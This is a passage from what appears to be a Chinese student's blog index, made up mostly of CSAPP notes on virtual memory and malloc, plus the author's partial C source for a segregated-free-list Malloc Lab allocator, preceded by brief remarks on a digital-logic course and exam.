考试原题。\n​\t考完，简单总结一下，10分的题没时间写了，纯空（主要是一直想上厕所有debuff），接着就是设计题还比较简单，但是考察了5变量卡诺图，并且基础概念很多，这也是我认为这个考试比较逆天的地方，有40-50分的题目都在考察概念性问题，并且第4章的占比很多，如果你追求高分，要仔细背，不过我是无所谓了。\n","date":"27 June 2025","externalUrl":null,"permalink":"/notes/digitallogiccircuits/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e数字电路基础 \n    \u003cdiv id=\"%E6%95%B0%E5%AD%97%E7%94%B5%E8%B7%AF%E5%9F%BA%E7%A1%80\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%95%B0%E5%AD%97%E7%94%B5%E8%B7%AF%E5%9F%BA%E7%A1%80\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003e我对于学校数字电路实验的评教，今天遇到了一些事情，真的非常生气，我不写出来实在是难受：\u003c/p\u003e\n\u003cp\u003e​\t我校的以vivado为开发平台的数字电路实验是相当不合理的：\u003c/p\u003e\n\u003cp\u003e​\t1.学生对于vivado没有相当的基础，身为一名计算机学院的学生，对于计算机组成原理的重要性认知很清楚，但是对于硬件开发没有合理的认知水平，理论铺设不到位，对于使用的软件更是一知半解。所以我们的实验是怎么开展的呢，“抄代码”，对着截了很多模糊不清的图片的PPT，抄，抄有着“详细注释”的宋体代码，我们试图在西一楼106机房“抄”出来对于数字电路的认知，这是难以置信的。\u003c/p\u003e","title":"DigitalLogicCircuits","type":"notes"},{"content":" “勿以浮沙筑高塔。”\n","date":"1 June 2025","externalUrl":null,"permalink":"/csapp/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e“勿以浮沙筑高塔。”\u003c/p\u003e\u003c/blockquote\u003e","title":"","type":"csapp"},{"content":" Virtual Memory:MallocLab # CSAPP中关于虚拟内存的一点简单笔记。\n1.物理和虚拟寻址 # 就是CPU直接找地址。\nCPU生成虚拟地址，通过MMU翻译。\nMMU Memory Management Unit\u0026mdash;》利用主存中的查询表来翻译虚拟地址。\n2.地址空间 # Address Space\n有物理地址空间和虚拟地址空间。\n自然数的有序的连续的有限的一个集合：\n$$ {0, 1, 2, \u0026hellip; N - 1} $$\n3.虚拟内存作为缓存的工具 # 发现还是cache魅力时刻。\n​\t概念上虚拟内存被组织为一个存放在磁盘中的字节数组，磁盘上的内容被缓存在主存中。\n​\t磁盘上的内容被分割成一块一块的page。\n​\t虚拟内存分割成虚拟页VP，物理内存分割成物理页PP。\n​\tVP的集合：\n1.未分配（磁盘上面的这部分地址还没有被分配）\n2.已分配未缓存（分配，但是还没有缓存到物理内存）\n3.已分配已缓存\n之后我们用SRAM来表示L1 L2 L3高速缓存。\nDRAM在主存中缓存虚拟页。\nDRAM是全相联缓存，也就是任意的物理页可以包含任意的虚拟页。\n1.页表 # ​\tVM要判断某个虚拟页是否存放在DRAM中的某个地方，还要判断放在哪个物理页中，没有就要替换，把磁盘中的虚拟页放在主存中的物理页。\n​\t物理内存中放 page table（页表），负责把 虚拟地址\u0026mdash;》物理地址。\n​\tOS维护页表内容，并且在DRAM和Disk之间传送页。\nPTE数组。\n过程 # page hit # 比如读取VP2中的内容，就会发生页命中。\npage fault # 就是缺页异常：\n比如在这里，我们想要访问VP3的数据，但是此时valid为0，那么表明没有被加载进DRAM中。\n​\t缺页异常会触发缺页异常的处理程序，接着对于某个DRAM中的物理页进行替换，如果页被修改过，还要进行写回，接着把虚拟内存中的Page加载到DRAM中，然后再进行访问。\n​\t这就是页面调度，还是cache的思想。\n分配页面\n注释。\n那么这样的页面调度算法还是要遵从局部性，来提高程序的性能。\n4.虚拟内存作为内存管理的工具 # 每个进程都有一个独立的页表，也就是独立的虚拟地址空间。\n1.简化link的过程，比如代码段总从0x400000开始，可执行文件需要时加载到物理内存中去执行。\n2.简化load的过程？ mmap 应用程序做内存映射。\n3.简化share，比如上面的shared page。\n4.简化memory allocation：比如调用malloc函数时，VM分配连续的K个VP，这K个VP映射到分散的K个PP上，这就是为什么堆内存慢。\n5.虚拟内存作为内存保护的工具 # ​\t在PTE表中我们可以对于用户的行为来加以限制，违反就会报segmentation fault。\n6.*地址翻译 # 首先记录一些简写。\n模拟过程：\n虚拟地址是怎么转换的？\nPTBR：页表基址寄存器，指向当前的页表。\n拿到一个虚拟地址，低P位是VPO，虚拟页面的偏移量，这个值和PPO相等。\n高n - p位是VPN，虚拟页号，在PTE中寻找对应的项，如果valid = 1，那么有效，把后面的位取出来作为PPN，就就是物理页号，和PPO组合，那么这样就组成了物理地址。\npage hit的过程是怎样的？\n1.CPU把VA给MMU。\n2.MMU计算出PTE地址，给主存。\n3.主存返回找到的PTE项。\n4.MMU用这个PTE构造出来PA，传给主存来请求数据。\n5.主存把请求的数据返回给CPU。\n如果发生了page fault？\n123和原来相同。\n4.发生了异常，转到缺页异常处理程序。\n5.程序确定逐出的page，如果发生了修改，还要写回到磁盘。\n6.从磁盘中加载到内存并且更新PTE。\n7.返回到原来的导致缺页异常的处理程序，此时就会命中。\n这个过程要硬件配合OS来完成。\n1.高速缓存和虚拟内存的结合 # 即PTE的页表条目也可以存储在高速缓存中，并没有冲突。\nL1寻址在MMU之后，一定使用的是物理地址来寻址，那么取物理地址的过程就和之前的cache是相同的。\n​\t地址翻译发生在高速缓存的查找之前。\n2.TLB加速地址翻译 # cache魅力时刻。\nMMU中包含了关于PTE的小的缓存：（Translation lookaside buffer）快表。\n虚拟地址中怎么访问TLB。\n和cache类似，把VPN的分开，低p位作为索引，高n - p - t 位作为标记。\n这个过程是类似的：\n1.VA给MMU。\n2.取VPN，在TLB缓存中找相应PTE项。\n后面类似。 未命中时从内存中获取的PTE还要加载到TLB缓存中。\n3.多级页表 # ​\t问题：如果只有一级页表，那么这个页表的所占的内存可能比较大，如果进程很多还各自拥有各自的页表，会产生问题。\n一级页表中的PTE负责虚拟内存中的一片（chunk）。\n二级页表中的每个PTE都负责映射一个VP。\n为什么能减少内存压力？\n​\t1.只有当二级页表中的有某一个部分存在映射的时候，这个二级页表才会存在在内存中，而一般4GB不会都用，这样就能大概做到有多少VP要被映射才会存在多少PTE。使用才会创建。\n​\t2.只有一级页表才需要总是存储在主存中。\nK级页表怎么翻译？\n​\t比如对于第j个位置，VPNj是第j个页表的索引，拿到这个页表的索引PTEj,它是下一个页表的基址，这样循环找到最后拿到PPN，和VPO连接得到了物理地址。\n“Accessing k PTEs may seem expensive and impractical at first glance. However, the TLB comes to the rescue here by caching PTEs from the page tables at the different levels. In practice, address translation with multi-level page tables is not significantly slower than with single-level page tables.”\n也是很天才的设计。\n4.手动模拟一下 # 自己看书，比较简单，和之前的关于cache的模拟也是类似的。\n7.实际案例 # 比较枯燥，到时候再看。\nlinux虚拟内存系统 # 内核虚拟内存和进程虚拟内存。\n怎样组织虚拟内存：\n​\t维护一个任务结构，mm_struct维护虚拟内存的当前的一个状态，mmap指向一个链表，链表的每个节点对于虚拟内存中的一些段进行描述。\n8.内存映射 # ​\t把一个虚拟内存区域和一个磁盘上的对象关联起来，就是内存的映射：映射到普通文件或者匿名文件。\n匿名文件是内核创建的，全部都是二进制0。\n​\t在安装linux时，我们会看到swap file，一旦一个虚拟页面被初始化，它就会在这个页面内被换来换去，那么这样的一个空间就会限制进程所能创建的VP的总数。\n再看共享对象 # ​\t这是一个公共的对象。\n关于这样的私有的对象，采用写时复制的方法，当试图写入的时候，我们才会在物理内存中进行一次复制。\n​\tfork函数：当一个进程调用fork的时候，内核为新的进程创建一系列数据结构并且分配PID，返回的时候，两个进程的虚拟内存地址相同，并且设置为写时复制，之后这两个进程中，当有一个试图去写的时候，就会触发写时的复制。\n​\texecve函数加载程序：\nMalloc Lab # 听说比CacheLab还要更难，让我来挑战一下。\n动态内存分配 # 运行时想要额外的虚拟内存，动态内存分配器(dynamic memory allocator)。\n进程虚拟内存区域中有一片区域称为堆（heap）：\n​\t堆顶指针是brk指针。\n​\t堆是向上增长的，和用户栈相反。\n​\tallocator把heap内存当成一些不同大小的块（block），每个block都是一些连续的虚拟内存的片（chunk），每个块要么空闲，要么已经分配，已经分配的块显式的可以被进程使用，空闲的块可以用来被分配。\n​\t分配器：\n​\t1.显式分配器：显式的分配和释放，C中的malloc和free函数。\n​\t2.隐式分配器：GC，也叫垃圾回收器，自动释放未使用的已分配块（Java中的GC）。\n1.malloc和free函数 # 调用：\n#include \u0026lt;stdlib.h\u0026gt; void *malloc(size_t size) 返回至少有size个字节的内存块，分配失败，返回NULL，同时要保证分配的内存以某种标准对齐。\ncalloc：分配的同时初始化。\nrealloc：给已经分配内存的块改变大小（本质是重新分配，并且不改变原来的数据）。\n分配和释放的过程：\np2的分配就是处于内存的双字对齐的要求。\np2释放之后，程序应当保证不会再使用p2指针（悬挂指针？）。\np4申请内存时，会使用之前的释放的内存。\n2.为什么要使用动态内存分配？ # 大一学习C程序设计就应该清楚了，很多数据结构的大小运行时才能确定，而我们不想要这样的hard code。\n3.分配器的要求和目标 # 1.处理任意请求和释放请求的序列：意思就是随机顺序，不像栈或者队列一样。\n2.立即响应请求。\n3.只用heap内存。\n4.满足对齐要求。\n5.不能修改已经分配的块。\n性能：\nHk为当前已经分配的堆的大小，Pk是已经分配的聚集有效的载荷之和，我们要让这个Uk峰值利用率最大化。\n4.Fragmentation（碎片） # ​\t内部碎片：已经分配的块的大小比有效载荷更大，比如为了对齐的时候造成的，它的大小就是已分配的字节减去有效载荷的字节的大小。\n​\t外部碎片：空闲块的数量够，但是没连起来，不能满足请求的块，就是外部碎片。\n分配器要试图维持少量的大空闲块，而不是大量的小空闲块。\n5.实现的问题 # 空闲块组织：如何记录空闲块？\n放置：选择哪里的空闲块来放置新分配的块？\n分割：新分配的块放置再某个空闲块之后，我们如何处理这个空闲块？\n合并：怎么处理刚刚释放的块？\n6.隐式空闲链表 # 分配器的数据结构：\n标注一些头部的信息。\n注意：最后的终止头部标志着结束。\n为什么叫隐含空闲链表？\n因为头部的大小隐含连接着两个块，给当前块的地址加上大小就跳转到了下一个块。\n简单但是任何操作的开销都要O（n），n是已分配和空闲的块的总数。\n注意9.6这道题目，前面表示大小的29bit不用向后移位的意思，直接表示，和cache那里不一样的地方就在这里。\n7.放置已经分配的块 # 我们采用的实现是首次适配。\n搜索空闲链表，由放置策略来决定的。\n当我们要去找一个能够分配的空闲块时：\n首次适配：从头开始直到第一个满足要求。\n下一次适配：从上一次查询结束的位置开始寻找。\n最佳适配：遍历所有的块，找到能放进去的并且最小的空闲块。\n那么上面三者各有利弊，这是很显然的。\n8.分割空闲块 # 把上面8个字的空闲块分割成两个4字的，前面分配，后面成为空闲块，也可以都分配，就会造成内部的碎片。\n这样也是决策的一种。\n9.获取额外的堆内存 # ​\t首先我们尽可能的合并空闲块，接着看合并之后能否生成一个足够大的块容纳请求的内存，如果不能，使用sbrk函数请求额外的堆内存，然后将这块内存插入空闲链表中，然后把要分配的内存进行分配。\n10.合并空闲块 # ​\t当释放某个块时，可能会造成两个空闲块并在一起的情况，这就造成了假碎片，那么我们就要进行合并。\n​\t那么什么时候合并？\n​\t1.立即合并：即释放的时候就对两边进行合并。（但是可能会产生抖动，比如不停的没有意义的合并和分割）\n​\t2.延迟合并：只有当分配失败的时候才遍历所有块进行合并。\n11.带边界的标记合并 # ​\t考虑我们之前学习过的链表，找链表后面的节点是很简单的，要和后面的块合并，我们只要把当前头部中的块大小加上后面头部的块大小即可，但是前面怎么处理？\n​\t每个块的结尾处加一个footer，它是头部的一个副本，也能表明是否是空闲块，这是否就类似于一种双向链表？\n那么释放块的时候就会有以下四种情况：\n​\t好处很明显，可以看到缺点就是header和footer可能会占用较多的空间。他们都是4bytes，都需要一个字。\n理解这个就没什么太大问题了。\n先来开始具体实现，内容之后再补充。\n实现要求 # 以下为手册的要求。\n​\t内存对齐。在C语言中，任何一种类型都需要对齐访问，例如指向int类型的指针第一个字节指向的位置是4的倍数（因为sizeof(int)=4），同理指向long long类型指针地址是8的倍数。我们这里要求你malloc返回的指针8字节对齐。\nmalloc与free不得移动、修改已经分配的块，若实现realloc数据点，则不得修改原有数据，任何空间分配不能与已经分配的块重叠。\n你的实现需要有：\n尽可能高的响应速度（吞吐量），即应用发出申请内存的请求到获得内存块首地址的速度尽可能快。 尽可能高的空间利用率，因为内存分配器还需要回收内存，所以你需要想办法重复利用不再使用的内存空间，而不是一味地使用全新的空间。 你可以使用的一些工具（function） # 一些有关内存拷贝的函数，你可能会在realloc的实现中使用到，如标准库的memcpy和memmove等。 一些数学有关的函数，如 log（需要math.h头文件） driver中给出的一些允许用来控制堆空间的函数，以下这些你大概率会使用到：\nvoid *mem_sbrk(int incr)：把堆的堆顶指针扩展incr个字节。\nvoid *mem_heap_lo(void)：返回当前堆内最低可以访问的字节的地址。\nvoid *mem_heap_hi(void)：返回当前堆内最高可以访问的字节的地址。\nsize_t mem_heapsize(void)：返回当前堆的大小。\nsize_t mem_pagesize(void)：返回页的大小（一般来讲是4KB，即字节）。\n注意事项： # ​\t由于空间连续，且新申请到的内存是空闲块，所以需要检查一下新申请的块前面是否是空闲块，如果是的话，你需要把它们合并成一个大块。\n​\t隐式空闲链表会使用序言块和结尾块，开始的四字节空数据用于对齐，后面的8字节跟一个序言块，前四个字节是header，后四个字节是footer（并且是已经分配的），我们的指针指向footer，这是一个已经被分配的块并且始终不会被释放，可以跳转到下一个块。\n​\t最后放一个结尾块。4bytes已经分配但是大小为0,这样的块就表明已经到达了堆内存的尾部。\n通过朴素的隐式链表和简单的首次匹配，我们拿到了70分，接下来我们来进一步优化。\n优化： # 分离空闲链表 # ​\t思想就是把一类大小相同的空闲块放在一起，维护一系列指针，每个指针指向各个大小的类的块。\n桶（bucket）：桶代表一类大小的空闲链表，其头指针存储在堆底。 分离空闲链表（free_lists）：所有桶的头指针构成的指针数组，其存储在堆底。 图来自于https://arthals.ink/blog/malloc-lab#%E5%9D%97%E7%9A%84%E7%B2%BE%E7%BB%86%E7%BB%93%E6%9E%84\n​\t怎么存放在堆底部？那么init的时候是不是要发生变化？\n​\t涉及空闲链表指针的操作时，就去加减mem_heap_lo()，来处理。\n​\t每个都是64bit。\n块的更精细的结构 # ​\t优化，我们减少元数据的信息。\n对于空闲块，同时存储头部和脚部，元数据信息大小为双字。 对于分配块，只存储头部，元数据信息大小为单字。 对于分配块，如果有申请奇数个字的话，可以避免一个字的内存碎片。\n空闲块存放可以使前后块迅速获得其信息。\n那么两类块的结构如下：\n那么一个空闲块最少要四个字节header，footer以及next，prev来维护显式空闲链表。\n​\t注意：除了序言块和结尾块，一个指针调用时指向负载的第一个字节或者空闲块的prev字节。\n块的头部一定是单字对齐，块的尾部一定是双字对齐。\n针对逆天测试点的优化：\nbinary文件按照这样的分配逻辑来进行，我们应该怎么处理。\n经过了长达20-30个小时的痛苦挣扎，我反思：\n1.知道自己的每一行代码在干嘛，要很清晰。\n2.两个size_t类型的数字相减一定是大于等于0的，我们在第一章就已经学习过了，但还是没有长记性。\n3.哪怕是抄别人的代码也一定要搞清楚，并且不要抄错，否则，debug将是一种痛苦。\n成品代码（96/100）：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;assert.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026#34;mm.h\u0026#34; #include \u0026#34;memlib.h\u0026#34; // 定义一些有用的宏，注意有些宏使用了其他的宏，那么你就要注意使用的顺序和方法 // 比较大小 #define MIN(X, Y) ((X) \u0026lt; (Y) ? (X) : (Y)) #define MAX(X, Y) ((X) \u0026gt; (Y) ? (X) : (Y)) // Header的大小 #define WORD_SIZE (sizeof(unsigned int)) #define CHUNK_SIZE (1 \u0026lt;\u0026lt; 12) // 用来在Header上写数据或者读取值 #define READ(PTR) (*(unsigned int *)(PTR)) #define WRITE(PTR, VALUE) ((*(unsigned int *)(PTR)) = (VALUE)) // 将块大小和是否被占用的信息合并，便于写入Header #define PACK(SIZE, IS_ALLOC) ((SIZE) | (IS_ALLOC)) // 在alloc位的上一位记录这个块前面的块有没有被分配,这样类似，写入header #define PACK_ALL(SIZE, IS_PREV_ALLOC, IS_ALLOC) ((SIZE) | (IS_PREV_ALLOC) | (IS_ALLOC)) // 传入指向Header的指针p，返回其后的负载块的长度 #define GET_SIZE(PTR) (unsigned int)((READ(PTR) \u0026gt;\u0026gt; 3) \u0026lt;\u0026lt; 3) // 传入指向Header的指针p，返回其后的负载块是否被占用 #define IS_ALLOC(PTR) (READ(PTR) \u0026amp; (unsigned int)1) // 这是对于一个空闲块的操作，查看它前面的块有没有被分配 #define IS_PREV_ALLOC(PTR) (READ(PTR) \u0026amp; (unsigned int)2) // 把这个块设置成已分配 #define SET_ALLOC(PTR) (READ(PTR) |= (unsigned int)1) // 设置空闲 #define SET_FREE(PTR) (READ(PTR) \u0026amp;= ~0x1) // 设置前面块已经分配 #define SET_PREV_ALLOC(PTR) (READ(PTR) |= (unsigned int)2) // 设置前面块未分配 #define SET_PREV_FREE(PTR) (READ(PTR) \u0026amp;= ~0x2) // 传入指向负载首个字节的指针，返回指向这个块的头/尾的指针 #define HEAD_PTR(PTR) ((char *)(PTR) - WORD_SIZE) #define TAIL_PTR(PTR) ((char *)(PTR) + GET_SIZE(HEAD_PTR(PTR)) - WORD_SIZE * 2) // 传入指向负载首个字节的指针，返回指相邻的下一个块/上一个块的指针 // 注意，指向的是负载块 #define NEXT_BLOCK(PTR) ((char *)(PTR) + GET_SIZE(HEAD_PTR(PTR))) #define PREV_BLOCK(PTR) ((char *)(PTR) - GET_SIZE((char *)(PTR) - WORD_SIZE * 2)) // 用来debug的宏 #define IS_IN_HEAP(PTR) (((char *)(PTR) \u0026gt;= (char *)mem_heap_lo()) \u0026amp;\u0026amp; ((char *)(PTR) \u0026lt;= (char *)mem_heap_hi())) // 设置一个全局变量heap_list总是指向序言块 static char *heap_listp = 0; // 空闲链表配置 #define FREE_LIST_NUMBER 14 // 一个头指针数组，每个指针指向该类链表的第一个空闲块 // 每个块存放的都是偏移量的大小 static char **free_lists; #define FIND_TIMES 8 // 注意这里寻找的逻辑是相对于lo()的偏移量 #define PREV_OFFSET(bp) (*(unsigned *)(bp)) #define NEXT_OFFSET(bp) (*(unsigned *)((char *)(bp) + WORD_SIZE)) // 在这个位置我们只存放偏移量 prev next的 // 这两个一定要返回绝对的地址 #define PREV_NODE(bp) ((char *)(mem_heap_lo() + *(unsigned *)(bp))) #define NEXT_NODE(bp) ((char *)(mem_heap_lo() + *(unsigned *)(bp + WORD_SIZE))) //static int flag = 0; // 我们在这里设置成偏移量 // #define SET_NODE_PREV(bp, val) (*(unsigned *)(bp) = ((unsigned)(val - mem_heap_lo()))) // #define SET_NODE_NEXT(bp, val) (*(unsigned *)((char *)bp + WORD_SIZE) = ((unsigned)(val - mem_heap_lo()))) #define SET_NODE_PREV(bp, val) (*(unsigned int *)(bp) = (unsigned int)((val) ? (char *)(val) - (char *)mem_heap_lo() : 0)) #define SET_NODE_NEXT(bp, val) (*(unsigned int *)((char *)(bp) + WORD_SIZE) = (unsigned int)((val) ? (char *)(val) - (char *)mem_heap_lo() : 0)) team_t team = { /* Team name */ \u0026#34;Ciallo\u0026#34;, /* First member\u0026#39;s full name */ \u0026#34;Quanye Yang\u0026#34;, /* First member\u0026#39;s email address */ \u0026#34;2236115135@xjtu.edu.cn\u0026#34;, /* Second member\u0026#39;s full name (leave blank if none) */ \u0026#34;\u0026#34;, /* Second member\u0026#39;s email address (leave blank if none) */ \u0026#34;\u0026#34;}; /* 用来做对齐的操作 */ #define ALIGNMENT 8 /* rounds up to the nearest multiple of ALIGNMENT */ #define ALIGN(size) (((size) + (ALIGNMENT - 1)) \u0026amp; ~0x7) #define SIZE_T_SIZE (ALIGN(sizeof(size_t))) // 一些静态辅助inline函数的定义，减少开销 /* 合并空闲块 */ static inline void *coalesce(void *hp, size_t size); /* 在一块找到的空间内分配内存 */ static inline void place(void *ptr, size_t size); /* 首次适配的逻辑 */ static inline void *first_fit(size_t size); /* 当对内存不够用时，堆内存扩展的逻辑 */ static inline void *extend_heap(size_t words); static inline size_t get_index(size_t size); static inline size_t adjust_size(size_t size); static inline void insert_node(void *bp, size_t size); static inline void delete_node(void *bp); //static void debug_heap(); //static int test_number = 0; // 合并空闲块 // check!!! // void*是任意类型的指针 // 最容易出错的逻辑 static inline void *coalesce(void *hp, size_t size) { size_t is_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(hp)); size_t is_next_alloc = IS_ALLOC(HEAD_PTR(NEXT_BLOCK(hp))); if (is_next_alloc \u0026amp;\u0026amp; is_prev_alloc) { // printf(\u0026#34;两边都没有空闲块，大小为 %ld \\n\u0026#34;, size); // 每次free都是前后已经分配并且是4096的大小？ // printf(\u0026#34; %ld \u0026#34;,size); //++test_number; // printf(\u0026#34; %d : %ld \\n\u0026#34;, test_number, size); SET_PREV_FREE(HEAD_PTR(NEXT_BLOCK(hp))); } else if (is_prev_alloc \u0026amp;\u0026amp; !is_next_alloc) { delete_node(NEXT_BLOCK(hp)); size += GET_SIZE(HEAD_PTR(NEXT_BLOCK(hp))); //printf(\u0026#34;后面有一个空闲块，合并之后大小为 %ld \\n\u0026#34;, size); WRITE(HEAD_PTR(hp), PACK_ALL(size, 2, 0)); WRITE(TAIL_PTR(hp), PACK_ALL(size, 2, 0)); } else if (!is_prev_alloc \u0026amp;\u0026amp; is_next_alloc) { // 前面没有分配，稍微复杂一些 delete_node(PREV_BLOCK(hp)); SET_PREV_FREE(HEAD_PTR(NEXT_BLOCK(hp))); size += GET_SIZE(HEAD_PTR(PREV_BLOCK(hp))); //printf(\u0026#34;前面有空闲块，合并之后大小为 %ld \\n\u0026#34;, size); size_t is_prev_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(PREV_BLOCK(hp))); WRITE(HEAD_PTR(PREV_BLOCK(hp)), PACK_ALL(size, is_prev_prev_alloc, 0)); WRITE(TAIL_PTR(hp), PACK_ALL(size, is_prev_prev_alloc, 0)); hp = PREV_BLOCK(hp); } else { delete_node(PREV_BLOCK(hp)); delete_node(NEXT_BLOCK(hp)); size += (GET_SIZE(HEAD_PTR(PREV_BLOCK(hp)))) + (GET_SIZE(HEAD_PTR(NEXT_BLOCK(hp)))); //printf(\u0026#34;两边都有空闲块，合并之后大小为 %ld \\n\u0026#34;, size); size_t is_prev_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(PREV_BLOCK(hp))); WRITE(HEAD_PTR(PREV_BLOCK(hp)), PACK_ALL(size, is_prev_prev_alloc, 0)); WRITE(TAIL_PTR(NEXT_BLOCK(hp)), PACK_ALL(size, is_prev_prev_alloc, 0)); hp = PREV_BLOCK(hp); } insert_node(hp, size); // debug_heap(); return hp; } // check!!! 如果有问题，大概就是空闲链表的设计有问题。 // place函数的全部，它传入指向一个空闲块的负载部分第一个字节的指针，以及需要从中分割出多少空间，你需要把分割出的一段或两段空间填写好相应的头部与尾部。 // 被binary攻击了，我们应当选取怎样的策略。 static inline void place(void *ptr, size_t size) { // assert(ptr != NULL); size_t curr_size = GET_SIZE(HEAD_PTR(ptr)); size_t remaining_size = curr_size - size; // printf(\u0026#34;place(): ptr = %p, curr_size = %zu\\n\u0026#34;, ptr, curr_size); // void *next = NEXT_BLOCK(ptr); // printf(\u0026#34;place(): next = %p\\n\u0026#34;, next); // printf(\u0026#34;place(): tail of next = %p, heap_hi = %p\\n\u0026#34;, TAIL_PTR(next), mem_heap_hi()); delete_node(ptr); // 小于最小块的大小，那么我们就不会分割 if (remaining_size \u0026lt; 4 * WORD_SIZE) { SET_ALLOC(HEAD_PTR(ptr)); SET_PREV_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr))); // 如果下一个块是空闲块，那么尾部也要设置已经分配 if (!IS_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr)))) { SET_PREV_ALLOC(TAIL_PTR(NEXT_BLOCK(ptr))); } } else { // 产生分割 WRITE(HEAD_PTR(ptr), PACK_ALL(size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 1)); WRITE(HEAD_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); WRITE(TAIL_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); insert_node(NEXT_BLOCK(ptr), remaining_size); // 我们来进行一些关于面向数据点的优化 // if (size \u0026lt;= 72) // { // //printf(\u0026#34;分配成功了一下......\u0026#34;); // WRITE(HEAD_PTR(ptr), PACK_ALL(size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 1)); // WRITE(HEAD_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); // WRITE(TAIL_PTR(NEXT_BLOCK(ptr)), PACK_ALL(remaining_size, 2, 0)); // insert_node(NEXT_BLOCK(ptr), remaining_size); // } // else // { // // 把大的块放到后面去 // WRITE(HEAD_PTR(ptr), PACK_ALL(remaining_size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 0)); // WRITE(TAIL_PTR(ptr), PACK_ALL(remaining_size, IS_PREV_ALLOC(HEAD_PTR(ptr)), 0)); // insert_node(ptr, remaining_size); // ptr = NEXT_BLOCK(ptr); // WRITE(HEAD_PTR(ptr), PACK_ALL(size, 0, 1)); // SET_PREV_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr))); // if(!IS_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr)))){ // SET_PREV_ALLOC(TAIL_PTR(NEXT_BLOCK(ptr))); // } // } } // // 实验全部分配的代码 // size_t curr_size = GET_SIZE(HEAD_PTR(ptr)); // delete_node(ptr); // WRITE(HEAD_PTR(ptr), PACK_ALL(curr_size, IS_PREV_ALLOC(ptr), 1)); // SET_PREV_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr))); // if(!IS_ALLOC(HEAD_PTR(NEXT_BLOCK(ptr)))){ // SET_PREV_ALLOC(TAIL_PTR(NEXT_BLOCK(ptr))); // } } // check 逻辑应该没有问题，如果有问题，应该是显式链表的设计有问题 // 从开头开始遍历，直到找到第一个满足条件的分配块，并且返回指向负载部分第一个字节的指针 static inline void *first_fit(size_t size) { // 找一个合适的桶 int number = get_index(size); char *hp; // 从这个桶之后开始向后方进行遍历 for (; number \u0026lt; FREE_LIST_NUMBER; ++number) { // 怎么设计的显示分离空闲链表??? // 注意使用的是偏移量 // 但是在调用的时候，我们使用的都是真实的地址 for (hp = (char *)mem_heap_lo() + (size_t)free_lists[number]; hp != mem_heap_lo(); hp = NEXT_NODE(hp)) { // 首次适配的逻辑 long diff = GET_SIZE(HEAD_PTR(hp)) - size; if (diff \u0026gt;= 0) { //printf(\u0026#34;The free block size is %d and the required size is %d...\\n\u0026#34;, GET_SIZE(HEAD_PTR(hp)), size); long min_diff = diff; char *cur = hp; for (int index = 0; index \u0026lt; FIND_TIMES \u0026amp;\u0026amp; cur != mem_heap_lo(); cur = NEXT_NODE(cur), ++index) { long s = GET_SIZE(HEAD_PTR(cur)) - size; if (s \u0026gt;= 0 \u0026amp;\u0026amp; s \u0026lt; min_diff) { min_diff = s; hp = cur; } } return hp; } } } return NULL; } // check!!! // 用新的空闲块扩展堆 // 要扩展多少个字的大小 // 当我们指向尾部节点的时候，我们会扩展内存，这里的hp指向的是负载的内存（也就是才分配的），那么hp的前面就是刚才的结束foot，那么我们把刚才的结束foot设置成新的header，并且把才分配的内存的最后一个设置成结束foot，那么就处理了边界问题 static inline void *extend_heap(size_t words) { char *hp; size_t size; // 首先分配堆内存,必须要是偶数,因为要对齐8字节 size = (words % 2 == 1 ? ((words + 1) * WORD_SIZE) : (words * WORD_SIZE)); hp = mem_sbrk(size); // printf(\u0026#34;Here, we extended %d bytes\\n\u0026#34;, size); if (hp == (void *)-1) { return NULL; } // 仔细思考一下，这是很精妙的处理边界情况的方式 // WRITE(HEAD_PTR(hp), PACK(size, 0)); // WRITE(TAIL_PTR(hp), PACK(size, 0)); // WRITE(HEAD_PTR(NEXT_BLOCK(hp)), PACK(0, 1)); size_t is_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(hp)); WRITE(HEAD_PTR(hp), PACK_ALL(size, is_prev_alloc, 0)); WRITE(TAIL_PTR(hp), PACK_ALL(size, is_prev_alloc, 0)); WRITE(HEAD_PTR(NEXT_BLOCK(hp)), PACK(0, 1)); // 假如前面的一个块也是空闲的，调用合并空闲块的函数 return coalesce(hp, size); } // 根据不同的数值来获取不同大小的桶对应的链表位置 static inline size_t get_index(size_t size) { // if(size \u0026lt;= 4096) // return 1; // if (size \u0026lt;= 15360) // return 11; // if (size \u0026lt;= 30720) // return 12; // if (size \u0026lt;= 61440) // return 13; // else // return 14; // if (size \u0026lt;= 1) // return 0; // if (size \u0026lt;= 2) // return 1; // if (size \u0026lt;= 4) // return 2; // if (size \u0026lt;= 8) // return 3; // if (size \u0026lt;= 16) // return 4; // if (size \u0026lt;= 32) // return 5; // if (size \u0026lt;= 64) // return 6; // if (size \u0026lt;= 128) // return 7; // if (size \u0026lt;= 256) // return 8; // if (size \u0026lt;= 512) // return 9; // if (size \u0026lt;= 1024) // return 10; // if (size \u0026lt;= 2048) // return 11; // if (size \u0026lt;= 4096) // return 12; // if (size \u0026lt;= 8192) // return 13; // if (size \u0026lt;= 16384) // return 14; // if (size \u0026lt;= 32768) // return 15; // else // return 16; if (size \u0026lt;= 1) return 0; if (size 